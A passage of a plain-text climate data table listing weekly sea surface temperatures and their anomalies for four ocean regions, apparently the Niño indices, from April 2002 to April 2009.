0.6\n 17APR2002     26.3 0.9     27.6 0.1     27.9 0.2     29.1 0.6\n 24APR2002     25.4 0.3     27.3 0.0     28.0 0.2     29.3 0.7\n 01MAY2002     25.4 0.6     27.4 0.1     28.0 0.2     29.2 0.6\n 08MAY2002     25.0 0.5     27.3 0.1     28.0 0.2     29.2 0.5\n 15MAY2002     24.5 0.2     27.2 0.1     28.0 0.1     29.4 0.6\n 22MAY2002     24.4 0.5     27.1 0.2     28.3 0.4     29.6 0.8\n 29MAY2002     24.5 0.9     27.4 0.5     28.4 0.7     29.7 0.9\n 05JUN2002     23.5 0.2     27.3 0.6     28.6 0.9     29.8 1.0\n 12JUN2002     22.7-0.3     27.1 0.6     28.6 0.9     29.7 0.9\n 19JUN2002     22.1-0.6     27.0 0.6     28.4 0.8     29.6 0.8\n 26JUN2002     22.0-0.4     26.9 0.8     28.2 0.7     29.4 0.6\n 03JUL2002     21.8-0.3     26.6 0.6     28.0 0.6     29.4 0.6\n 10JUL2002     21.1-0.8     26.3 0.5     28.0 0.7     29.4 0.6\n 17JUL2002     21.2-0.4     26.0 0.4     28.0 0.8     29.5 0.7\n 24JUL2002     20.5-0.8     25.7 0.2     27.9 0.8     29.5 0.8\n 31JUL2002     20.3-0.8     25.5 0.2     27.9 0.9     29.6 0.9\n 07AUG2002     20.0-0.9     25.3 0.1     27.8 0.9     29.4 0.7\n 14AUG2002     20.3-0.4     25.5 0.5     27.8 0.9     29.4 0.7\n 21AUG2002     19.8-0.8     25.5 0.5     27.8 1.0     29.3 0.7\n 28AUG2002     19.8-0.7     25.6 0.7     27.8 1.0     29.4 0.7\n 04SEP2002     19.3-1.2     25.4 0.5     27.7 0.9     29.3 0.7\n 11SEP2002     20.2-0.2     25.5 0.6     27.8 1.0     29.4 0.7\n 18SEP2002     20.1-0.3     25.5 0.7     27.9 1.2     29.5 0.9\n 25SEP2002     20.1-0.4     25.7 0.8     27.9 1.2     29.5 0.8\n 02OCT2002     20.1-0.5     25.7 0.8     28.0 1.3     29.5 0.8\n 09OCT2002     20.7 0.0     25.6 0.7     27.9 1.2     29.4 0.7\n 16OCT2002     21.7 0.9     25.7 0.8     27.9 1.2     29.4 0.7\n 23OCT2002     21.6 0.6     26.0 1.1     28.2 1.6     29.8 1.2\n 30OCT2002     21.9 0.7     26.3 1.4     28.3 1.7     29.9 1.2\n 06NOV2002     22.0 0.6     26.2 1.3     28.2 1.6     29.8 1.2\n 13NOV2002     21.9 0.4     26.3 1.4     28.3 1.7     29.9 1.3\n 20NOV2002     22.5 0.7     26.5 1.5     28.3 1.7     29.9 1.3\n 27NOV2002     22.6 0.6     26.4 1.4     28.2 1.6     29.7 1.2\n 04DEC2002     23.0 0.7     26.6 1.6     28.2 1.6     29.6 1.0\n 11DEC2002     23.5 0.9     26.5 1.4     28.1 1.5     29.4 1.0\n 18DEC2002     23.3 0.4     26.5 1.3     28.1 1.5     29.4 1.0\n 25DEC2002     23.5 0.2     26.3 1.0     28.0 1.4     29.5 1.1\n 01JAN2003     24.2 0.6     26.6 1.2     28.1 1.5     29.4 1.1\n 08JAN2003     23.9-0.1     26.3 0.8     27.9 1.3     29.2 0.9\n 15JAN2003     24.1-0.3     26.3 0.7     27.7 1.2     29.3 1.0\n 22JAN2003     24.4-0.4     26.5 0.7     27.7 1.1     29.3 1.0\n 29JAN2003     24.9-0.3     26.3 0.3     27.5 0.8     29.1 0.9\n 05FEB2003     25.3-0.3     26.4 0.3     27.3 0.6     28.9 0.7\n 12FEB2003     25.7-0.3     26.6 0.3     27.4 0.7     28.9 0.9\n 19FEB2003     26.2 0.0     27.0 0.6     27.7 0.9     29.1 1.0\n 26FEB2003     26.0-0.3     26.8 0.1     27.6 0.7     29.2 1.1\n 05MAR2003     25.7-0.7     27.0 0.2     27.6 0.6     29.0 0.9\n 12MAR2003     25.7-0.8     27.2 0.1     27.7 0.6     29.0 0.8\n 19MAR2003     26.5 0.1     27.6 0.4     28.0 0.8     29.1 0.9\n 26MAR2003     25.5-0.7     27.4 0.2     27.9 0.5     29.0 0.7\n 02APR2003     25.7-0.3     27.2-0.1     27.8 0.3     28.9 0.6\n 09APR2003     24.8-0.9     27.3-0.1     27.8 0.2     29.0 0.6\n 16APR2003     24.3-1.1     27.3-0.2     27.9 0.1     28.9 0.5\n 23APR2003     23.6-1.6     27.2-0.2     27.8 0.0     28.9 0.4\n 30APR2003     23.2-1.6     26.5-0.8     27.7-0.1     28.9 0.3\n 07MAY2003     23.0-1.6     26.3-0.9     27.4-0.4     28.9 0.2\n 14MAY2003     22.5-1.8     26.2-0.9     27.3-0.5     28.8 0.1\n 21MAY2003     22.3-1.7     26.0-1.0     27.3-0.6     28.8 0.1\n 28MAY2003     22.0-1.6     26.0-0.9     27.4-0.4     29.0 0.2\n 04JUN2003     21.9-1.4     25.7-0.9     27.4-0.3     29.0 0.2\n 11JUN2003     21.6-1.5     25.7-0.8     27.4-0.2     29.1 0.2\n 18JUN2003     21.1-1.6     25.9-0.5     27.5-0.1     29.1 0.3\n 25JUN2003     21.6-0.8     25.9-0.2     27.6 0.0     29.1 0.3\n 02JUL2003     21.4-0.7     25.9-0.1     27.5 0.1     29.2 0.4\n 09JUL2003     21.1-0.8     25.9 0.0     27.6 0.3     29.2 0.4\n 16JUL2003     20.8-0.8     25.8 0.1     27.5 0.3     29.1 0.3\n 23JUL2003     20.2-1.2     25.7 0.2     27.3 0.2     29.1 0.3\n 30JUL2003     20.3-0.9     25.5 0.2     27.1 0.1     29.0 0.3\n 06AUG2003     20.2-0.8     25.3 0.1     27.0 0.0     29.0 0.3\n 13AUG2003     20.0-0.8     25.0 0.0     26.9 0.1     29.1 0.5\n 20AUG2003     20.6 0.0     24.9-0.1     26.7-0.1     29.0 0.4\n 27AUG2003     20.0-0.5     24.8-0.2     26.7-0.1     29.0 0.3\n 03SEP2003     20.4-0.1     25.0 0.1     26.9 0.1     29.0 0.3\n 10SEP2003     19.9-0.5     24.8-0.1     26.8 0.0     28.9 0.2\n 17SEP2003     19.5-0.8     25.0 0.1     26.9 0.2     28.9 0.3\n 24SEP2003     20.5 0.0     25.0 0.2     27.1 0.4     29.1 0.5\n 01OCT2003     20.1-0.5     25.3 0.4     27.3 0.6     29.1 0.4\n 08OCT2003     20.9 0.2     25.5 0.6     27.4 0.7     29.1 0.5\n 15OCT2003     20.9 0.1     25.2 0.3     27.1 0.4     29.1 0.5\n 22OCT2003     21.5 0.6     25.3 0.3     27.1 0.4     29.3 0.6\n 29OCT2003     21.4 0.3     25.4 0.4     27.2 0.5     29.3 0.7\n 05NOV2003     21.6 0.3     25.3 0.4     27.0 0.4     29.4 0.7\n 12NOV2003     21.8 0.3     25.3 0.4     26.9 0.3     29.3 0.7\n 19NOV2003     22.0 0.3     25.4 0.4     27.1 0.4     29.3 0.7\n 26NOV2003     22.3 0.3     25.5 0.5     27.2 0.5     29.2 0.6\n 03DEC2003     22.5 0.2     25.6 0.5     27.1 0.5     29.2 0.6\n 10DEC2003     22.9 0.3     25.5 0.4     27.0 0.4     29.1 0.6\n 17DEC2003     23.0 0.1     25.4 0.3     26.8 0.3     29.0 0.5\n 24DEC2003     23.0-0.2     25.6 0.3     26.8 0.2     28.9 0.4\n 31DEC2003     23.8 0.2     25.7 0.4     26.7 0.1     28.7 0.4\n 07JAN2004     24.2 0.2     25.7 0.2     26.6 0.0     28.7 0.3\n 14JAN2004     24.6 0.2     25.9 0.3     26.6 0.0     28.9 0.6\n 21JAN2004     24.8 0.0     26.0 0.3     27.0 0.4     28.9 0.7\n 28JAN2004     24.7-0.4     26.1 0.1     26.9 0.2     28.8 0.6\n 04FEB2004     25.0-0.5     26.0-0.1     26.8 0.1     28.7 0.6\n 11FEB2004     25.4-0.5     26.4 0.1     26.8 0.1     28.5 0.4\n 18FEB2004     26.1 0.0     26.7 0.2     26.9 0.1     28.5 0.4\n 25FEB2004     26.3 0.1     26.7 0.1     27.0 0.1     28.5 0.4\n 03MAR2004     25.8-0.6     26.7-0.1     26.9-0.1     28.5 0.4\n 10MAR2004     25.4-1.0     27.1 0.1     26.9-0.2     28.3 0.1\n 17MAR2004     25.6-0.8     27.4 0.2     27.1-0.1     28.3 0.1\n 24MAR2004     26.0-0.3     27.4 0.1     27.3-0.1     28.4 0.2\n 31MAR2004     26.1 0.1     27.4 0.1     27.5 0.0     28.5 0.2\n 07APR2004     26.0 0.2     27.4 0.0     27.7 0.1     28.6 0.2\n 14APR2004     25.2-0.3     27.4 0.0     27.8 0.1     28.7 0.2\n 21APR2004     24.8-0.4     27.4 0.0     28.0 0.2     28.8 0.3\n 28APR2004     24.1-0.9     27.2-0.1     28.1 0.3     28.9 0.3\n 05MAY2004     23.6-1.0     26.7-0.5     27.9 0.1     29.0 0.3\n 12MAY2004     23.1-1.3     26.6-0.6     28.0 0.1     29.0 0.3\n 19MAY2004     22.8-1.3     26.8-0.3     28.2 0.4     29.2 0.4\n 26MAY2004     22.7-1.0     26.7-0.2     28.1 0.3     29.4 0.6\n 02JUN2004     22.1-1.4     26.7 0.0     28.1 0.3     29.2 0.4\n 09JUN2004     21.7-1.4     26.6 0.0     28.0 0.3     29.2 0.4\n 16JUN2004     21.5-1.3     26.4-0.1     27.8 0.1     29.2 0.4\n 23JUN2004     21.3-1.2     26.0-0.3     27.5 0.0     29.1 0.2\n 30JUN2004     21.0-1.2     25.6-0.4     27.3-0.1     29.1 0.3\n 07JUL2004     20.8-1.2     25.4-0.4     27.6 0.3     29.4 0.6\n 14JUL2004     20.9-0.8     25.5-0.2     27.7 0.4     29.4 0.6\n 21JUL2004     20.7-0.7     25.2-0.3     27.7 0.6     29.4 0.7\n 28JUL2004     20.3-0.9     25.4 0.0     27.9 0.8     29.4 0.6\n 04AUG2004     19.9-1.1     25.2 0.0     27.8 0.8     29.4 0.7\n 11AUG2004     19.7-1.1     25.1 0.0     27.6 0.7     29.2 0.6\n 18AUG2004     19.6-1.0     24.9 0.0     27.4 0.6     29.2 0.5\n 25AUG2004     19.2-1.4     24.9 0.0     27.4 0.7     29.3 0.7\n 01SEP2004     20.1-0.4     25.0 0.1     27.4 0.7     29.6 0.9\n 08SEP2004     19.8-0.6     25.0 0.1     27.4 0.6     29.6 0.9\n 15SEP2004     19.8-0.5     25.1 0.3     27.5 0.7     29.6 0.9\n 22SEP2004     20.4-0.1     25.3 0.4     27.6 0.9     29.6 0.9\n 29SEP2004     20.5-0.1     25.4 0.5     27.5 0.8     29.5 0.8\n 06OCT2004     20.8 0.1     25.2 0.4     27.4 0.7     29.5 0.8\n 13OCT2004     20.5-0.2     25.2 0.3     27.3 0.6     29.4 0.8\n 20OCT2004     21.4 0.5     25.4 0.5     27.4 0.7     29.6 1.0\n 27OCT2004     21.3 0.2     25.4 0.5     27.4 0.7     29.7 1.0\n 03NOV2004     21.5 0.3     25.4 0.5     27.3 0.6     29.6 1.0\n 10NOV2004     22.0 0.5     25.5 0.5     27.3 0.6     29.5 0.9\n 17NOV2004     22.2 0.5     25.5 0.5     27.3 0.7     29.6 1.0\n 24NOV2004     21.9 0.0     25.4 0.4     27.3 0.7     29.5 1.0\n 01DEC2004     22.4 0.2     25.6 0.6     27.4 0.8     29.4 0.9\n 08DEC2004     22.3-0.2     25.7 0.6     27.4 0.8     29.4 0.8\n 15DEC2004     22.9 0.2     25.8 0.6     27.3 0.7     29.2 0.8\n 22DEC2004     22.9-0.2     25.9 0.6     27.3 0.7     29.5 1.1\n 29DEC2004     23.6 0.2     25.8 0.5     27.2 0.6     29.5 1.1\n 05JAN2005     23.7-0.2     25.7 0.3     27.1 0.5     29.3 0.9\n 12JAN2005     24.2 0.0     25.9 0.3     27.1 0.5     29.2 0.9\n 19JAN2005     25.0 0.3     26.0 0.3     27.1 0.5     29.2 0.9\n 26JAN2005     24.9-0.1     26.0 0.1     27.1 0.5     29.2 1.0\n 02FEB2005     24.6-0.8     25.9-0.2     26.9 0.2     29.0 0.8\n 09FEB2005     25.1-0.6     26.2-0.1     27.0 0.3     28.8 0.7\n 16FEB2005     25.8-0.3     26.4 0.0     27.0 0.3     28.8 0.7\n 23FEB2005     25.7-0.5     26.3-0.3     27.0 0.1     28.7 0.6\n 02MAR2005     25.2-1.1     26.2-0.6     27.0 0.0     28.8 0.6\n 09MAR2005     25.9-0.5     26.7-0.2     27.2 0.1     28.8 0.6\n 16MAR2005     25.9-0.6     27.3 0.2     27.6 0.4     29.0 0.8\n 23MAR2005     25.0-1.3     27.3 0.0     27.9 0.5     28.9 0.7\n 30MAR2005     24.9-1.1     27.4 0.1     28.0 0.5     29.0 0.7\n 06APR2005     24.8-1.0     27.4 0.0     28.0 0.4     28.9 0.5\n 13APR2005     24.6-0.9     27.7 0.2     27.9 0.1     28.8 0.3\n 20APR2005     24.8-0.5     27.9 0.5     28.2 0.4     28.9 0.4\n 27APR2005     25.4 0.4     28.1 0.8     28.3 0.5     29.1 0.5\n 04MAY2005     25.2 0.5     28.1 0.9     28.3 0.4     29.1 0.4\n 11MAY2005     24.6 0.2     27.6 0.5     28.2 0.4     29.1 0.3\n 18MAY2005     24.5 0.4     27.4 0.3     28.2 0.4     29.3 0.5\n 25MAY2005     23.5-0.3     27.1 0.2     28.2 0.4     29.2 0.4\n 01JUN2005     23.0-0.5     26.8 0.0     28.1 0.3     29.2 0.4\n 08JUN2005     22.6-0.5     26.9 0.3     28.1 0.4     29.2 0.4\n 15JUN2005     22.3-0.5     26.8 0.3     28.1 0.4     29.2 0.4\n 22JUN2005     22.2-0.3     26.9 0.6     28.0 0.5     29.1 0.3\n 29JUN2005     21.6-0.7     26.7 0.6     28.0 0.5     29.1 0.3\n 06JUL2005     21.5-0.5     26.3 0.4     27.8 0.4     29.2 0.4\n 13JUL2005     21.5-0.3     26.2 0.5     27.6 0.3     29.1 0.3\n 20JUL2005     20.7-0.8     25.8 0.2     27.3 0.2     29.0 0.2\n 27JUL2005     20.8-0.5     25.4 0.0     27.1 0.1     28.9 0.1\n 03AUG2005     20.8-0.2     25.2-0.1     26.9-0.1     28.8 0.1\n 10AUG2005     20.6-0.2     25.2 0.1     26.9 0.0     28.7 0.0\n 17AUG2005     20.4-0.2     25.4 0.4     27.0 0.2     28.9 0.2\n 24AUG2005     20.8 0.3     25.2 0.3     26.9 0.1     28.9 0.3\n 31AUG2005     20.4-0.1     24.8-0.1     26.7-0.1     28.9 0.2\n 07SEP2005     20.0-0.5     24.5-0.3     26.5-0.3     28.7 0.1\n 14SEP2005     19.7-0.7     24.5-0.4     26.4-0.3     28.7 0.0\n 21SEP2005     19.6-0.9     24.7-0.2     26.8 0.1     28.9 0.3\n 28SEP2005     19.6-0.9     24.5-0.4     26.7 0.0     28.9 0.3\n 05OCT2005     19.4-1.2     24.6-0.3     26.9 0.2     29.0 0.3\n 12OCT2005     20.0-0.8     24.9 0.0     26.9 0.2     28.9 0.3\n 19OCT2005     19.8-1.1     24.7-0.2     26.7 0.0     28.8 0.2\n 26OCT2005     19.9-1.2     24.7-0.2     26.6-0.1     28.8 0.1\n 02NOV2005     19.8-1.4     24.3-0.7     26.5-0.2     28.7 0.1\n 09NOV2005     20.2-1.2     24.2-0.7     26.3-0.4     28.6 0.0\n 16NOV2005     21.0-0.6     24.3-0.7     26.5-0.2     28.6 0.0\n 23NOV2005     21.2-0.7     24.3-0.7     26.3-0.3     28.7 0.1\n 30NOV2005     21.2-0.9     24.2-0.9     26.1-0.5     28.6 0.1\n 07DEC2005     21.4-1.1     24.1-1.0     26.0-0.6     28.6 0.0\n 14DEC2005     21.8-0.9     24.0-1.1     25.8-0.7     28.5 0.0\n 21DEC2005     23.1 0.1     24.3-0.9     25.8-0.8     28.1-0.3\n 28DEC2005     23.3-0.2     24.7-0.6     25.9-0.7     28.0-0.4\n 04JAN2006     23.4-0.4     25.0-0.5     25.8-0.7     27.9-0.5\n 11JAN2006     24.2 0.0     25.0-0.6     25.7-0.9     27.8-0.5\n 18JAN2006     24.3-0.2     24.8-0.9     25.5-1.1     27.6-0.7\n 25JAN2006     24.8-0.1     25.1-0.8     25.5-1.1     27.4-0.8\n 01FEB2006     25.0-0.3     25.5-0.6     25.8-0.9     27.4-0.7\n 08FEB2006     25.9 0.2     25.8-0.4     26.0-0.7     27.3-0.9\n 15FEB2006     27.1 1.0     26.3 0.0     26.1-0.6     27.3-0.8\n 22FEB2006     26.8 0.6     26.4-0.2     26.3-0.5     27.4-0.7\n 01MAR2006     27.0 0.7     26.2-0.6     26.1-0.9     27.4-0.7\n 08MAR2006     26.9 0.5     26.5-0.4     26.4-0.7     27.6-0.6\n 15MAR2006     26.7 0.2     26.5-0.6     26.5-0.7     27.7-0.5\n 22MAR2006     26.6 0.3     26.6-0.6     26.7-0.6     28.0-0.3\n 29MAR2006     26.0-0.1     26.8-0.5     27.0-0.5     28.1-0.2\n 05APR2006     24.9-0.9     27.1-0.3     27.3-0.3     28.1-0.2\n 12APR2006     24.0-1.5     27.6 0.1     27.7 0.0     28.3-0.1\n 19APR2006     23.4-2.0     27.2-0.2     27.7-0.1     28.4-0.1\n 26APR2006     23.1-1.9     27.2-0.2     27.7-0.1     28.5 0.0\n 03MAY2006     23.9-0.8     27.2-0.1     27.7-0.1     28.6-0.1\n 10MAY2006     24.1-0.4     27.1 0.0     27.8 0.0     28.8 0.1\n 17MAY2006     23.8-0.3     27.1 0.0     28.1 0.2     29.1 0.3\n 24MAY2006     23.5-0.3     26.9 0.0     28.0 0.2     29.0 0.2\n 31MAY2006     23.4-0.1     26.8 0.0     28.0 0.3     29.2 0.4\n 07JUN2006     22.6-0.6     26.6 0.0     28.0 0.3     29.2 0.4\n 14JUN2006     22.8-0.1     26.5 0.1     27.9 0.3     29.2 0.3\n 21JUN2006     22.5-0.1     26.3 0.0     27.8 0.2     29.2 0.3\n 28JUN2006     22.4 0.0     26.1 0.0     27.6 0.1     29.0 0.2\n 05JUL2006     22.2 0.1     26.0 0.1     27.5 0.1     29.0 0.1\n 12JUL2006     22.0 0.2     25.8 0.0     27.3 0.0     29.0 0.2\n 19JUL2006     22.3 0.8     25.8 0.2     27.3 0.1     29.1 0.3\n 26JUL2006     22.0 0.7     25.7 0.3     27.3 0.2     29.2 0.4\n 02AUG2006     21.9 0.8     25.5 0.3     27.2 0.2     29.2 0.5\n 09AUG2006     21.7 0.8     25.3 0.2     27.1 0.2     29.1 0.4\n 16AUG2006     21.6 0.9     25.4 0.4     27.2 0.4     29.2 0.6\n 23AUG2006     21.5 1.0     25.5 0.5     27.3 0.5     29.3 0.6\n 30AUG2006     21.1 0.6     25.6 0.6     27.3 0.5     29.3 0.7\n 06SEP2006     21.6 1.2     25.6 0.7     27.4 0.6     29.4 0.8\n 13SEP2006     21.3 0.9     25.8 0.9     27.3 0.6     29.4 0.7\n 20SEP2006     21.2 0.8     25.9 1.1     27.4 0.7     29.4 0.8\n 27SEP2006     21.7 1.1     25.7 0.8     27.2 0.5     29.3 0.7\n 04OCT2006     21.7 1.0     25.7 0.8     27.2 0.5     29.2 0.6\n 11OCT2006     22.2 1.4     26.1 1.2     27.5 0.8     29.4 0.8\n 18OCT2006     22.4 1.5     26.0 1.1     27.5 0.8     29.5 0.8\n 25OCT2006     22.7 1.6     26.1 1.1     27.6 0.9     29.6 1.0\n 01NOV2006     22.4 1.2     25.9 1.0     27.6 0.9     29.5 0.9\n 08NOV2006     22.5 1.1     25.9 0.9     27.6 0.9     29.6 1.0\n 15NOV2006     22.6 1.0     26.1 1.1     27.8 1.2     29.7 1.1\n 22NOV2006     22.7 0.8     26.3 1.2     27.8 1.2     29.6 1.1\n 29NOV2006     23.0 0.9     26.1 1.1     27.8 1.2     29.6 1.0\n 06DEC2006     22.9 0.5     26.1 1.1     27.9 1.3     29.6 1.1\n 13DEC2006     22.9 0.2     26.3 1.2     27.8 1.2     29.5 1.0\n 20DEC2006     23.7 0.6     26.5 1.3     27.7 1.2     29.4 1.0\n 27DEC2006     24.0 0.6     26.6 1.3     27.7 1.1     29.4 1.0\n 03JAN2007     24.3 0.5     26.4 0.9     27.5 0.9     29.2 0.8\n 10JAN2007     24.9 0.7     26.7 1.1     27.5 0.9     29.1 0.8\n 17JAN2007     25.0 0.4     26.4 0.7     27.2 0.6     28.8 0.6\n 24JAN2007     25.2 0.3     26.5 0.7     27.1 0.5     28.7 0.5\n 31JAN2007     25.6 0.3     26.6 0.6     27.0 0.3     28.7 0.5\n 07FEB2007     26.0 0.4     26.6 0.4     26.9 0.2     28.6 0.4\n 14FEB2007     26.3 0.3     26.3-0.1     26.7 0.0     28.6 0.6\n 21FEB2007     26.4 0.3     26.4-0.1     26.8-0.1     28.6 0.5\n 28FEB2007     25.7-0.6     26.4-0.3     26.9 0.0     28.5 0.4\n 07MAR2007     25.8-0.5     26.6-0.3     26.9-0.2     28.5 0.4\n 14MAR2007     26.0-0.5     27.3 0.2     27.3 0.1     28.6 0.4\n 21MAR2007     25.6-0.8     26.8-0.4     27.2-0.1     28.5 0.3\n 28MAR2007     25.1-1.0     26.6-0.7     27.4 0.0     28.5 0.2\n 04APR2007     24.5-1.4     26.7-0.7     27.5 0.0     28.7 0.3\n 11APR2007     24.4-1.2     27.2-0.2     27.8 0.1     28.7 0.3\n 18APR2007     23.9-1.4     27.4-0.1     27.9 0.2     28.7 0.2\n 25APR2007     24.1-1.0     27.3-0.1     27.8 0.0     28.7 0.1\n 02MAY2007     23.6-1.2     26.9-0.4     27.7-0.1     28.6 0.0\n 09MAY2007     23.0-1.5     26.3-0.9     27.4-0.4     28.7 0.0\n 16MAY2007     22.9-1.3     26.3-0.8     27.5-0.4     28.8 0.1\n 23MAY2007     22.3-1.6     26.3-0.6     27.7-0.1     29.0 0.2\n 30MAY2007     21.8-1.8     26.1-0.7     27.6-0.2     29.0 0.2\n 06JUN2007     21.6-1.6     25.8-0.9     27.6-0.1     29.0 0.2\n 13JUN2007     22.2-0.7     26.1-0.4     27.7 0.1     29.1 0.3\n 20JUN2007     21.8-0.8     25.9-0.5     27.6 0.0     28.9 0.1\n 27JUN2007     20.7-1.7     25.5-0.6     27.3-0.1     28.8 0.0\n 04JUL2007     21.2-0.9     25.3-0.6     27.0-0.4     28.7-0.1\n 11JUL2007     20.1-1.7     24.9-0.9     26.8-0.5     28.8 0.0\n 18JUL2007     19.9-1.7     24.8-0.8     26.9-0.3     28.9 0.1\n 25JUL2007     20.3-1.0     24.5-1.0     26.6-0.5     28.9 0.1\n 01AUG2007     19.6-1.5     24.1-1.2     26.4-0.6     28.7 0.0\n 08AUG2007     19.3-1.6     23.8-1.3     26.2-0.7     28.6-0.1\n 15AUG2007     19.7-1.0     24.0-1.0     26.3-0.6     28.6-0.1\n 22AUG2007     19.2-1.4     23.8-1.2     26.1-0.7     28.5-0.1\n 29AUG2007     18.4-2.1     23.7-1.3     26.1-0.7     28.4-0.2\n 05SEP2007     19.4-1.1     23.7-1.2     26.0-0.8     28.3-0.4\n 12SEP2007     18.6-1.8     23.6-1.3     25.8-1.0     28.0-0.6\n 19SEP2007     18.5-2.0     23.6-1.2     25.8-0.9     28.0-0.7\n 26SEP2007     18.4-2.1     23.2-1.7     25.6-1.1     28.0-0.7\n 03OCT2007     18.3-2.3     23.2-1.7     25.4-1.3     27.9-0.7\n 10OCT2007     18.8-1.9     23.3-1.6     24.9-1.8     27.7-1.0\n 17OCT2007     18.6-2.2     23.5-1.4     25.3-1.4     27.9-0.7\n 24OCT2007     19.2-1.8     23.5-1.4     25.3-1.4     27.8-0.8\n 31OCT2007     19.7-1.5     23.2-1.8     25.2-1.5     27.8-0.8\n 07NOV2007     19.3-2.1     23.0-2.0     25.0-1.6     27.5-1.1\n 14NOV2007     19.2-2.3     23.2-1.7     25.2-1.5     27.3-1.3\n 21NOV2007     19.8-2.0     23.2-1.8     24.9-1.7     27.1-1.5\n 28NOV2007     19.8-2.2     23.3-1.8     25.1-1.6     27.4-1.1\n 05DEC2007     20.6-1.8     23.5-1.5     25.1-1.5     27.5-1.0\n 12DEC2007     20.3-2.4     23.3-1.8     24.9-1.7     27.5-1.0\n 19DEC2007     21.3-1.6     23.7-1.5     25.0-1.6     27.2-1.3\n 26DEC2007     21.9-1.4     23.7-1.6     24.9-1.6     27.0-1.4\n 02JAN2008     22.6-1.1     23.9-1.5     25.0-1.6     26.8-1.6\n 09JAN2008     23.3-0.8     24.0-1.5     24.8-1.8     26.6-1.7\n 16JAN2008     24.1-0.4     24.0-1.6     24.6-2.0     26.6-1.7\n 23JAN2008     24.1-0.7     24.1-1.7     24.4-2.2     26.4-1.8\n 30JAN2008     25.1-0.1     24.7-1.3     24.9-1.7     26.5-1.7\n 06FEB2008     25.9 0.3     24.8-1.4     24.6-2.1     26.4-1.8\n 13FEB2008     25.9-0.1     24.7-1.7     24.5-2.2     26.4-1.7\n 20FEB2008     26.7 0.6     25.1-1.4     24.9-2.0     26.4-1.7\n 27FEB2008     27.2 0.9     25.8-0.9     25.3-1.6     26.3-1.8\n 05MAR2008     27.3 1.0     26.3-0.6     25.7-1.3     26.6-1.5\n 12MAR2008     27.2 0.7     26.5-0.5     26.0-1.1     26.7-1.4\n 19MAR2008     27.3 0.9     26.7-0.5     26.2-1.1     26.8-1.4\n 26MAR2008     27.1 0.9     26.8-0.5     26.3-1.0     27.0-1.2\n 02APR2008     27.2 1.2     26.9-0.4     26.5-1.0     27.2-1.2\n 09APR2008     25.9 0.2     27.3-0.2     26.7-1.0     27.3-1.1\n 16APR2008     25.5 0.0     27.3-0.2     26.9-0.9     27.4-1.1\n 23APR2008     25.5 0.4     27.1-0.3     26.9-0.9     27.5-1.1\n 30APR2008     24.5-0.3     27.3 0.0     27.1-0.7     27.7-0.9\n 07MAY2008     24.1-0.5     26.8-0.4     27.0-0.9     27.7-1.0\n 14MAY2008     24.5 0.2     27.1-0.1     27.1-0.7     27.8-0.9\n 21MAY2008     24.1 0.1     27.2 0.2     27.3-0.5     28.0-0.7\n 28MAY2008     24.1 0.5     27.2 0.4     27.3-0.5     28.0-0.8\n 04JUN2008     24.0 0.7     27.0 0.3     27.3-0.4     28.0-0.8\n 11JUN2008     23.7 0.7     26.7 0.2     27.2-0.5     28.0-0.8\n 18JUN2008     23.3 0.6     26.3-0.1     27.1-0.5     28.1-0.8\n 25JUN2008     23.0 0.6     26.2 0.0     27.1-0.4     28.1-0.7\n 02JUL2008     22.7 0.5     26.3 0.4     27.2-0.2     28.2-0.6\n 09JUL2008     22.7 0.8     26.3 0.5     27.3-0.1     28.3-0.5\n 16JUL2008     22.7 1.1     26.2 0.5     27.3 0.0     28.3-0.5\n 23JUL2008     22.6 1.2     25.9 0.5     27.1 0.0     28.2-0.6\n 30JUL2008     22.2 1.1     25.9 0.5     27.1 0.0     28.2-0.5\n 06AUG2008     22.0 1.1     25.9 0.7     27.0 0.1     28.2-0.5\n 13AUG2008     22.5 1.8     25.8 0.8     27.0 0.2     28.2-0.5\n 20AUG2008     21.1 0.5     25.5 0.5     26.7-0.1     28.1-0.6\n 27AUG2008     21.3 0.8     25.3 0.4     26.6-0.2     28.1-0.6\n 03SEP2008     21.3 0.8     25.3 0.4     26.6-0.2     28.1-0.6\n 10SEP2008     21.0 0.6     25.2 0.3     26.6-0.2     28.1-0.6\n 17SEP2008     21.1 0.8     24.9 0.1     26.4-0.4     28.1-0.6\n 24SEP2008     21.3 0.8     25.1 0.2     26.4-0.4     28.1-0.6\n 01OCT2008     21.0 0.4     24.7-0.2     26.2-0.5     28.3-0.4\n 08OCT2008     20.6-0.1     24.9 0.0     26.3-0.4     28.3-0.4\n 15OCT2008     20.7-0.1     24.9-0.1     26.4-0.3     28.3-0.4\n 22OCT2008     21.0 0.0     24.8-0.2     26.3-0.4     28.2-0.4\n 29OCT2008     20.5-0.7     24.6-0.3     26.4-0.2     28.2-0.4\n 05NOV2008     21.3 0.0     24.6-0.3     26.3-0.3     28.2-0.4\n 12NOV2008     21.8 0.3     24.9-0.1     26.5-0.2     28.1-0.5\n 19NOV2008     21.5-0.2     24.9-0.1     26.3-0.3     28.0-0.6\n 26NOV2008     21.2-0.8     24.6-0.4     26.1-0.5     27.9-0.6\n 03DEC2008     21.4-0.9     24.8-0.3     26.0-0.6     27.9-0.6\n 10DEC2008     22.1-0.4     24.6-0.5     25.8-0.8     27.7-0.7\n 17DEC2008     22.6-0.3     24.6-0.6     25.8-0.8     27.7-0.8\n 24DEC2008     22.8-0.5     24.5-0.8     25.6-1.0     27.5-0.9\n 31DEC2008     23.3-0.3     24.4-1.0     25.4-1.2     27.5-0.9\n 07JAN2009     23.4-0.6     24.5-0.9     25.4-1.2     27.4-1.0\n 14JAN2009     24.0-0.3     24.8-0.8     25.4-1.1     27.4-0.9\n 21JAN2009     25.3 0.5     25.5-0.2     25.8-0.8     27.4-0.8\n 28JAN2009     25.3 0.2     25.5-0.4     25.7-1.0     27.3-0.9\n 04FEB2009     25.1-0.4     25.4-0.7     25.7-0.9     27.2-0.9\n 11FEB2009     25.8 0.0     25.6-0.6     25.9-0.8     27.3-0.8\n 18FEB2009     26.3 0.2     26.1-0.4     26.2-0.6     27.4-0.7\n 25FEB2009     26.5 0.2     26.4-0.3     26.3-0.6     27.4-0.7\n 04MAR2009     26.5 0.2     26.1-0.7     26.4-0.7     27.5-0.6\n 11MAR2009     26.1-0.3     26.1-0.9     26.7-0.5     27.7-0.4\n 18MAR2009     26.0-0.4     26.4-0.7     26.7-0.6     27.8-0.4\n 25MAR2009     26.3 0.1     26.7-0.5     26.8-0.6     27.9-0.4\n 01APR2009     26.4 0.5     27.2-0.1     27.1-0.4     28.1-0.2\n 08APR2009     25.7 0.0     27.4 0.0     27.4-0.2     28.3-0.1\n 15APR2009     26.1 0.7     27.5 0.0     27.5-0.2     28.3-0.2\n 22APR2009     25.4 0.2     